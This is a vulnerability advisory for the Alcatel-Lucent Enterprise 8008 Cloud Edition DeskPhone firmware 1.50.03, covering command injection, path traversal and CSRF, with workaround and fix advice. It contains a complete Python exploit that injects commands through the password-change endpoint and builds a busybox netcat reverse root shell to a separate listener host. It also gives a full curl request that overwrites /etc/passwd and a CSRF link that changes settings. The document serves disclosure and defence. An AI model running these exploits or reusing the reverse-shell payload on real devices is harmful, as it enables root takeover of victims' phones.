1. Summary

Vendor: ALE/Alcatel-Lucent Enterprise

Product: 8008 Cloud Edition DeskPhone

Affected Version: Firmware 1.50.03

CVSS Score: 9.0 (Critical)
(https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:P/RL:U/RC:R/CR:M/IR:M/AR:H/MAV:A/MAC:L/MPR:L/MUI:N/MS:U/MC:H/MI:H/MA:H)

Severity: high

Remote exploitable: yes

The firmware of the 8008 Cloud Edition DeskPhone contains several vulnerabilities, which would allow an attacker to control the device by injecting arbitrary OS commands via web requests. The attacker only has to be in the same network and authenticated to the phone's web server.

Command Injection (Vulnerability 1):

The web interface contains a password change function ("Maintenance" → "Change Password"). For changing the password, the user input is forwarded to '`chpasswd_admin.sh`' script. Because of a missing sanitization and input verification, an authenticated attacker can inject arbitrary system commands by appending a ";" to the input, followed by the command. The command injection and the fact, that the webserver is running as root will allow an attacker to establish a reverse root shell and get full control over the phone.

The following python script will establish a reverse root shell:

```
from urllib import quote
from requests import get
from textwrap import wrap



def getUrl(password, command):
    """
    Returns the url which includes username and password. The format is strange.
    It takes the credential and puts it in a json string which is then url encoded.
    :param username:
    :param password:
    :return:
    """
    url = '127.0.0.1:1665/services/ICTGate/changePassword?json0={}&json1={}&json2={}'
    username_string = quote("""{{"type":"QString","value":"{}"}}""".format("admin"))
    password_string = quote("""{{"type":"QString","value":"{}"}}""".format(password))
    command_string = quote("""{{"type":"QString","value":"{}\\"; {} # "}}""".format(password,
command))

    complete = url.format(username_string, password_string, command_string)
    print(complete)

    return complete

def execute(endpoint, password, command):
    url = getUrl(password, command)
    url = "https://{}/{}".format(endpoint, url)
    r = get(url, verify=False)
    print(r.content)

def putString(string, file):
    slices = wrap(string, 20)
    for slice in slices:
        execute("10.148.207.35", "147*Dmw@1", """echo \\"{}\\" >> {}""".format(slice, file))



file = "/tmp/aaa"
fileb = "/tmp/bbb"

execute("10.148.207.35", "147*Dmw@1", "rm {}".format(file))
execute("10.148.207.35", "147*Dmw@1", "touch {}".format(file))
execute("10.148.207.35", "147*Dmw@1", "chmod 777 {}".format(file))
execute("10.148.207.35", "147*Dmw@1", "chmod u+s {}".format(file))
putString("""mknod /tmp/pipe p; /bin/sh 0</tmp/pipe | /bin/busybox nc 10.148.207.64 4444
1>/tmp/pipe""", file)
execute("10.148.207.35", "147*Dmw@1", "rm /tmp/bbb")
execute("10.148.207.35", "147*Dmw@1", "cat {} | tr '\\n' ' '  > {}".format(file, fileb))
execute("10.148.207.35", "147*Dmw@1", "chmod 777 {}".format(fileb))
execute("10.148.207.35", "147*Dmw@1", "chmod u+x {}".format(fileb))
execute("10.148.207.35", "147*Dmw@1", "/bin/sh {}".format(fileb))
```

Executing the script will establish a reverse shell to a listening `netcat` process (`nc -nlvp 4444`).

Path Traversal (Vulnerability 2):

When uploading certificates ("Maintenance" → "Certificate Management"), the server does not sanitize the filename. The following POST request ("Network" → "Diagnostics" section) will do a path traversal and send the content of the `/etc/passwd`. The filename is replaced with `../../../../../../../../etc/passwd`:

```
curl -i -s -k -X  'POST'  \

 -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:66.0)
Gecko/20100101 Firefox/66.0'  -H 'Accept: */*'  -H 'Accept-Language: en-
US,en;q=0.5'  -H 'Referer: https://10.148.207.35/'  -H 'Content-Type:
multipart/form-data; boundary=---------------------------
202896598613433752131212344665'  -H 'Content-Length: 711'  -H 'Connection:
keep-alive'  -H 'Cookie: admin-authentication={3b4e6736-9797-4dbc-948e-
0ffb5c030d21}'  -H ''  \

--data-binary $'-----------------------------
202896598613433752131212344665\r\nContent-Disposition: form-data;
name=\"files[]\";
filename=\"../../../../../../../../etc/passwd\"\r\nContent-Type:
application/x-
pkcs12\r\n\r\nroot:x:0:0:root:/root:/bin/sh\nbin:*:1:1:bin:/bin:\ndaemon:*:
2:2:daemon:/sbin:\nadm:*:3:4:adm:/var:\nnobody:*:99:99:Nobody:/:\nvcsa:x:69
:69:Virtual Console:/:/sbin/nologin\nadmin:x:201:201:Local
admin:/home/admin:/bin/sh\nboot2fab:x:200:201:FAB
user:/:/var/run/debug/boot2fab\ndbus:x:81:203:System message
bus:/:/sbin/nologin\nplatform:x:504:600:Platform:/home/application:/sbin/no
login\nmessagebus:x:199:199::/var/lib/dbus:/bin/false\nnobody1:*:99:99:Nobo
dy1:/:\n\r\n-----------------------------202896598613433752131212344665--
\r\n' \

'https://10.148.207.35/cgi-bin/multiPartUpload.cgi?saveDir=/tmp'
```

The access to the `/etc/passwd` file is possible because the webserver is running with root privileges.

Cross Site Request Forgery (CSRF) (Vulnerability 3):

The webserver has no protection against CSRF. By clicking on a predefined link (by an attacker) there will be executed/ triggered commands concerning web settings. The following request for instance will enable VPN.

```
https://10.148.207.35/127.0.0.1:1665/services/SettingsManager/setSettingVal
ue?json0=%7B%22type%22%3A%22QString%22%2C%22value%22%3A%22VPNEnable%22%7D&j
son1=%7B%22type%22%3A%22QString%22%2C%22value%22%3A%22true%22%7D&json2=%7B%
22type%22%3A%22QString%22%2C%22value%22%3A%22false%22%7D
```

2. Impact

Remote root shell and code execution:

If an attacker can get some knowledge about the login credentials or the device still has standard credentials, he can trick someone to click on a special prepared link which (CSRF vulnerability 3) triggers the establishment of a reverse root shell (vulnerability 1).

Denial of Service:

As described in vulnerability 2, an attacker can overwrite arbitrary files. This enables her to change the configuration in order to leave the system state dysfunctional.

3. Workaround

Change the standard credentials and use strong passwords, which will not be guessable. Restrict the web interface access to a well-known group of people.

4. Possible fix

Implementation of proper sanitization checks. All external input must be verified and rejected/sanitized before it will be handed over to the shell scripts. The servlet has to check the input because the `.sh` script is not able to do this in the right manner. Additionally, the web server should not run with root privileges, it should run in restricted user mode. Otherwise, every break or successful injection attack will run with root privileges.